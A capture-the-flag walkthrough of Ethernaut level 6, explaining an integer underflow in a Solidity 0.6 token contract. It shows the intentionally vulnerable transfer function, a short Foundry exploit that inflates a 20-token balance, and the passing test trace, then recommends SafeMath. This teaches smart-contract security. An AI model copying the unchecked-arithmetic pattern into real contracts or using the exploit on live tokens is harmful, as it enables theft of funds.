CTF walkthrough, Ethernaut, #6 Token

We start with the 20 tokens. To complete this challenge we need to get some more.

Here is the original Token contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint256) balances;
    uint256 public totalSupply;

    constructor(uint256 _initialSupply) {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }
}

Analysis

Let’s go line by line and see what we can come up with.

Firstly, let’s review the transfer function:

function transfer(address _to, uint256 _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
}

In Solidity <0.8 integers overflow/underflow without error and arithmetic operations always wrap. In Solidity >=0.8 the compiler throws an error on over- and underflow thanks to built in overflow checking. The Token contract uses Solidity ^0.6.0, which means it is vulnerable to integer overflows/underflows.

require(balances[msg.sender] - _value >= 0);

This check doesn’t help given that the contract uses an unsigned integers for balances.

Let’s go over the part that does arithmetics:

balances[msg.sender] -= _value;
balances[_to] += _value;

We know that balances[player] equals 20. It means to overflow our balance we need to pass at least 21.

We use pragma solidity ^0.8.0 everywhere. To obtain the solidity <0.8 behavior, we have to slightly modify the code of this challenge and wrap arithmetics with the unchecked statement:

function transfer(address _to, uint256 _value) public returns (bool) {
    unchecked {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
    }
    return true;
}

The exploit is simple:

function exploit() internal override {
    vm.startPrank(player);
    level.transfer(address(0), 21);
    vm.stopPrank();
}

The trace:

$ forge test --match-contract TokenTest -vvvv

Running 1 test for src/test/Token.t.sol:TokenTest
[PASS] testToken() (gas: 319929)
Traces:
  [319929] TokenTest::testToken()
    ├─ [244552] TokenTest::create()
    │   ├─ [0] VM::prank(player: [...])
    │   │   └─ ← ()
    │   ├─ [232204] Ethernaut::createLevelInstance(TokenFactory: [...])
    │   │   ├─ [180641] TokenFactory::createInstance(player: [...])
    │   │   │   ├─ [120540] → new Token@"0x037f…dd8f"
    │   │   │   │   └─ ← 380 bytes of code
    │   │   │   ├─ [22893] Token::transfer(player: [...], 20)
    │   │   │   │   └─ ← true
    │   │   │   └─ ← Token: [...]
    │   │   ├─ emit LevelInstanceCreatedLog(player: player: [...], instance: Token: [...])
    │   │   └─ ← Token: [...]
    │   └─ ← Token: [...]
    ├─ [0] VM::startPrank(player: [...])
    │   └─ ← ()
    ├─ [22893] Token::transfer(0x0000000000000000000000000000000000000000, 21)
    │   └─ ← true
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    ├─ [0] VM::startPrank(player: [...])
    │   └─ ← ()
    ├─ [4586] Ethernaut::submitLevelInstance(Token: [...])
    │   ├─ [1539] TokenFactory::validateInstance(Token: [...], player: [...])
    │   │   ├─ [529] Token::balanceOf(player: [...]) [staticcall]
    │   │   │   └─ 115792089237316195423570985008687907853269984665640564039457584007913129639935
    │   │   └─ ← true
    │   ├─ emit LevelCompletedLog(player: player: [...], level: TokenFactory: [...])
    │   └─ ← true
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; finished in 1.00ms

Lessons learned

In Solidity <0.8 use SafeMath from OpenZeppelin, which provides wrappers over Solidity’s arithmetic operations.

References


The full code is here. Let’s continue to the CTF walkthrough, Ethernaut, #7 Delegation!